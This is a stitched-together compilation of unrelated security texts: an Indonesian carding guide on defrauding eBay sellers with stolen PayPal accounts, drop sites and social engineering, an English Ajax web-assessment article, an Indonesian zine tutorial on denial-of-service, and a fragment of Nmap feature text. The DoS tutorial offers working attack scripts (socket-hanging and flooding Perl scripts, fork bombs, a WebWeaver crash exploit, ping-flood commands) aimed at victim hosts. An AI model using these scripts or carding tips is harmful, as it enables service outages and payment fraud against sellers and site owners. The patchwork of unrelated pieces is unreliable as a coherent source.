apakah benar ebay melarang pembeli dari indonesia ?
tidak, karena ebay hanyalah mempertemukan antara penjual(seller) dan pembeli. dan larangan untuk pembeli dari indonesia hanyalah dari kebijakan masing² seller saja.

Secara system, ebay menggunakan www.paypal.com sebagai merchant ebay jadi untuk aktifitas carding dapat dipastikan sangat sulit untuk di lakukan.
karena paypal mempunyai system investigasi time yang idealnya adalah 3hari, paypal akan memverified alamat, ip dari account yang login. kata lain bila kamu membeli dari ebay dengan alamat yang berbeda dengan alamat registry paypal dapat di pastikan alamat swiping akan "unverified" dan akan mempunya kemungkinan kecil sekali untuk keberhasilan order kamu. :-)

adakalanya beberapa kejadian berikut meningkatkan keberhasilan kamu dalam ordering ebay.

- Membeli dengan menggunakan account paypal kamu yang legal (data² asli yang resmi).
dapat dipastikan order kamu akan berhasil 85% :P

- Seller dengan swiping wideword.
seller ini menerima pengiriman dimanapun dalam dunia termasuk indonesia negara tercinta :P

- Seller dengan minimum feedback.
seller dengan minimumfeedback, sebagian besar adalah seller yang baru merintis dan mempunyai sedikit pengetahuan untuk menjadi seller
istilah lainya "masih bisa digobloki" :)), akan tetapi juga tidak semua seller dengan minimum feedback adalah seller yang lugu.

- Paypal yang mendukung
paypal yang mendukung maksudnya adalah paypal yang benar² solid untuk dapat digunakan, misalnya empunya account jarang login, sudah verified, nda limit dll.

- Paypal yang mempunyai time investigasi lebih dari 3hari
Secara default mempunyai waktu 3hari/lebih untuk membuat suatu transaksi clear/valid, bila kamu memang disertai keberuntungan pp (paypal) yang kamu gunakan bisa lebih dari 3hari saat digunakan untuk order maka seller menganggap bahwa transsaksi sudah valid/clear.

- Seller yang tergesa² untuk mengirimkan itemnya
nah yang satu ini yang paling maut, seller yang mempunyai harapan dengan cepat merampungkan stanssaksinya.bila kamu menemui seller type kek gini anggep tu keberuntungan kamu, kamu bisa meng'email dan beralasan untuk secepatnya mengirimkan item dengan alasan bla...bla...bla...
bila kamu mempunyai kesempatan ini dan dipadukan dengan "paypal yang mendukung" kemungkinan keberhasilan kamu akan sebakin besar.
kamu bisa menggunakan SE (social engginer) kamu untuk memperdayai seller tersebut.

- DS (Drop Site)
yang dimaksud DS bukan dedicate server lo, tetapi adalah Drop Site atau tempat sementara untuk pembelian barang yang tidak bisa dibeli oleh alamat asli, ds ini bisa berada dengan menggunakan alamat US, NZ, dll.
Ada beberapa pengedia layanan DS ini dalam dunia internet.
maap, penulis tidak bisa memberitahukan vendor penyedia ini. kata lainya "cari tw sendiri la" :P

- Nasib yang beruntung nasib yang beruntung
sangat di perlukan untuk aktifitas order, ada juga beberapa carder yang memilih hari untuk ordering. (cape dech.....) :P

Sekian info yang dapat saya sampaikan, dan info ini hanyalah untuk pengetahuan saja dan tanpa ada maksud pembelajaran negatif.
kejahatan hanya dilakukan oleh niatan kotor, dan penulis tidak bertanggung jawab atas ini.

Introduction

As shown in Figure 1, the browser processes on the left can be divided into the following layers:

• Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
• Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
• Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).

The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.

Web 2.0 assessment challenges

1. Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
2. Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
3. Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.

We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.

Discovering hidden calls

Suppose we can get today’s business news by visiting a simple news portal located at:

http://example.com/news.aspx

The page in the browser would resemble the screenshot illustrated below in Figure 2.

Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.

Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.

Figure 3. Setting Firebug to intercept XMLHttpRequest calls.

With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.

Figure 4. Capturing Ajax calls.

We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.

http://example.com/ getnews.aspx?date=09262006

If we closely look at the code, we can see following function in JavaScript:

function getNews()
{
var http;
http = new XMLHttpRequest();
http.open("GET", " getnews.aspx?date=09262006", true);
http.onreadystatechange = function()
{
 if (http.readyState == 4) {
 var response = http.responseText;
 document.getElementById('result').innerHTML = response;
     }
}
http.send(null);
}

The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.

By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.

Crawling challenges and browser simulation

In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:

The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.

function getMe()
{
var http;
http = new XMLHttpRequest();
http.open("GET", "hi.html", true);
http.onreadystatechange = function()
{
    if (http.readyState == 4) {
   var response = http.responseText;
   document.getElementById('result').innerHTML = response;
    }
}
http.send(null);
}

The preceding code makes a simple Ajax call to the hi.html resource on the server.

Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.

By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.

l=find('link')
for(i=0;i

You can load this script in the Chickenfoot console and run it as shown in Figure 5.

Figure 5. Simulating onClick AJAX call with chickenfoot.

This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.

Logic discovery & dissecting applications

There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.

Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.

Figure 6. Form property inspection with Firebug.

After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.

Figure 7. Debugging with Firebug.

All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.

Figure 8. Setting a breakpoint and controlling execution process.

We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.

Figure 9. Moving to validation.js script page.

The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.

Figure 10. Making an Ajax call.

Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.

Figure 11. Web services call on the Firebug console.

Here we have identified the resource location for the backend web services:

http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish

The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.

Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].

In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.

Conclusion

In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.

Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.

References

About the author

echo-zine 02
Oleh: MOBY (echo-staff)
  moby@echo.or.id || mobygeek@telkom.net


.o0 Kata Pengantar

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
    Service atau yang lebih kita kenal dengan DoS.   Beberapa pertanyaan
    yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

.o0 Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
    atau   mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
    menggunakan   layanan tersebut. Dampak akhir   dari  aktifitas ini menjurus
    kepada    tehambatnya aktifitas korban yang dapat   berakibat  sangat fatal
    (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
     yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
    admin akan berada  pada kondisi yang membingungkan   antara   layanan  dan
    kenyamanan terhadap keamanan.  Seperti yang kita tahu, keyamanan berbanding
    terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
    hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.


.o0 Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
    dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih
    tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum
    dikalangan hacker-hacker muda untuk menjukkan kemampuannya  dan  Denial of
    Service merupakan aktifitas   hacker diawal karirnya.  Alasan politik  dan
    ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita
    bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan
    secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
    Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
    DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi,
    komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan
    merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
    mendapatkan program-program DoS, seperti nestea, teardrop, land, boink,
    jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of
    Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
    melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell
    yang berupa ./nama_program argv argc ...


.o0 Denial of Sevice, serangan yang menghabiskan resource.

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
yang besar, sehingga komputer/mesin yang diserang   kehabisan  resource dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa   serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.


.o0 Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding
   SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
   pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
   lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
   Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
   Merupakan serangan Denial of Service terhadap prosessor Pentium yang
   menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
   sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
   yang digunakan yaitu pentium.
3. Ping Flooding
   Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
   dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
   mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
   Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
   Varian dari serangan ini disebut "smurfing"
   (http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
 A. Serangan membutuhkan Shell Linux (Unix/Comp)
 B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
    fungsi search agar lebih mudah)
 C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
   Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
   Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
   membuat hang/blue screen of death pada komputer korban.
   Cara penggunaan:
   A. Dapatkan file kod.c
   B. Compile dengan Gcc: $ gcc -o kod kod.c
   C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
   Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
   kepada jenis sistem operasi dan konfigurasi server target (misalmya:
    blocking)
2. BONK/BOINK
   Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
   bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
   Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
   yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
   yang tinggi sekali kepada korban.
4. NesTea
   Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
   versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
   Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
   (bonk.c)
6. Syndrop
   Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target
   serangan adalah Linux dan Windows
7. TearDrop
   TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
   ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
   yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini
   adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
   Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
   sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
   bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
   Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
   suatu web server, namun tidak tertutup kemungkinan untuk melakukan 
   penyalahgunaan.
   bash $ /usr/sbin/ab -n 10000 -c 300 \
   http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
   (diketik dalam 1 baris!)
   Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
   Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
   oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
   koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
   Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
   request simultan dengan koneksi terpisah-pisah.

   Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
    menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
   Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
   batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
   akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, 
  seolah-olah server korban tewas.

Script gs.pl (gantung socket)  

#!/usr/bin/perl
#
# Nama Script  : gs.pl
# Tipe         : Denial of Service (DoS)
# Auth         : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL          : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
 PeerAddr=> "$ARGV[0]",
 PeerPort=> "$ARGV[1]",
 Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !

DoS-ing Apache lagi !!

 Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

1. Fork Bomb, habiskan RAM

#!/usr/bin/perl
fork while 1;

2. Habiskan CPU

#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i

3. Habiskan Memory

#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }

4. Serangan Input Flooding
   Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote
   Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat
   terjadi secara remote jika demon (server) tidak melakukan verifikasi input
   sehingga input membanjiri buffer dan menyebabkan program dihentikan secara
   paksa.

   Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.
  Sofie   : Email server
  Vendor  : http://www.curtiscomp.com/
  TIPE    : Remote DoS

  IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes,
versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl

#!/usr/bin/perl -w
#
# $0_            : iispdos.pl
# Tipe serangan  : Denial of service
# Target         : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth           : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL            : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "110",
   Proto=> "tcp") or die;
   print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
   PeerAddr => "$ARGV[0]",
   PeerPort => "110",
   Proto => "tcp") or die;
   print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# END.

2. Membunuh wzdftpd.
  Sofie   : wzdftpd
       Vendor  : http://www.wzdftpd.net

Proof of Concept:

% telnet 127.0.0.1 21
    Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.
  Sofie : BRS WebWeaver V. 1.04
  Vendor : www.brswebweaver.com
  BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5
  Sofie     : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
  Vendor    : http://www.smartmax.com
  BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara
manual.

Contoh eksploitasi:
                     --------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
                         --------[ transcript ]-------

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool
ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'


Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja -
membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada
komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.

Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS.
Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (
    port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --

#!/usr/bin/perl
#
# $0   : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL  : www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
 PeerAddr=> "$ARGV[0]",
 PeerPort=> "$ARGV[1]",
 Proto=> "tcp") or die;
 print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
   PeerAddr => "$ARGV[0]",
   PeerPort => "$ARGV[1]",
   Proto => "tcp") or die;
   print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban,
lalu mengirimkan flood dan melakukan post testing. Dengan sedikit
pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force
Flooder', tergantung pada kreatifitas anda !


.o0 Penanggulangan serangan Denial of Service

Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana
mudahnya menggunaka sploits/tool   untuk membekukan   Ms Windows, atau
bagaimana mudahnya melakukan input flooding dan membuat tool   sendiri.
Namun Denial of service adalah masalah layanan publik.Sama halnya dengan
anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai
sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.

1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option
untuk menolak cracker untuk mengakses system.

2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal.
Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet'
dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak -
tidak tertutup kemungkinan untuk melakukan Denial of Service -.
Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung
dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
atau melakukan up-date.

3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ).
Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang
admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'.
Jangan lupa juga menambah RAM.

4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif
juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman,
atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa
menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan
dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
admin dan user bersangkutan.


.o0 Penututp.

Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik
intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan
pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh
seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'.
Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum,
betapa indahnya semesta ini.
Terima kasih untuk anda semua telah membaca artikel ini - bahkan sampai
baris ini :) -. Terima kasih untuk rekan-rekan echo-staff atas support
selama ini. Untuk semua Computer Security Industries Indonesia, teruslah
berjuang Amigo !! Computer Underground, hey nak, sudah saatnya belajar
dan berhenti bermain. Semua teman-teman online TERIMA KASIH !!
Shout buat Willy, Al, Dudunk - semua pengunjung 'rumah mesum' :P
(cuma istilah/jargon) - Thanks buat Rizka, maaf atas 'pesan-pesan filosofi
gelap', kamu tahu pemilik nomor 08157190*** !. "Ka .. tidak baik marah
kepada seseorang yang datang dengan kasih sayang :)"

"KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
'TEMPAT YANG PALING AMAN ADALAH PETI MATI'
TAPI TERNYATA AKU SALAH !!"
    [MOBY]


Bacaan lanjutan / referensi:

[1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
   R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
   Elexmedia Komputindo, ISBN: 979-20-3249-5
[2] 7 Cara Isengi Apache dan kiat mengatasinya.
   Steven Haryanto, Masterweb Magazine Oktober 2001
[3] Introduction to Denial of Service
   Hans Husman, t95hhu@student.tdb.uu.se
[4] CERT ADVISORIES.
   www.cert.org
[5] Packet Storm Security
   http://packetstormsecurity.nl
[6] BugTraq
   www.securityfocus.com

• Flexible: Supports dozens of advanced techniques for mapping out networks filled with IP filters, firewalls, routers, and other obstacles. This includes many port scanning mechanisms (both TCP & UDP), OS detection, version detection, ping sweeps, and more. See the documentation page.
• Powerful: Nmap has been used to scan huge networks of literally hundreds of thousands of machines.
• Portable: Most operating systems are supported, including Linux, Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga, and more.
• Easy: While Nmap offers a rich set of advanced features for power users, you can start out as simply as "nmap -v -A targethost". Both traditional command line and graphical (GUI) versions are available to suit your preference. Binaries are available for those who do not wish to compile Nmap from source.
• Free: The primary goals of the Nmap Project is to help make the Internet a little more secure and to provide administrators/auditors/hackers with an advanced tool for exploring their networks. Nmap is available for free download, and also comes with full source code that you may modify and redistribute under the terms of the license.
• Well Documented: Significant effort has been put into comprehensive and up-to-date man pages, whitepapers, and tutorials. Find them in multiple languages here.
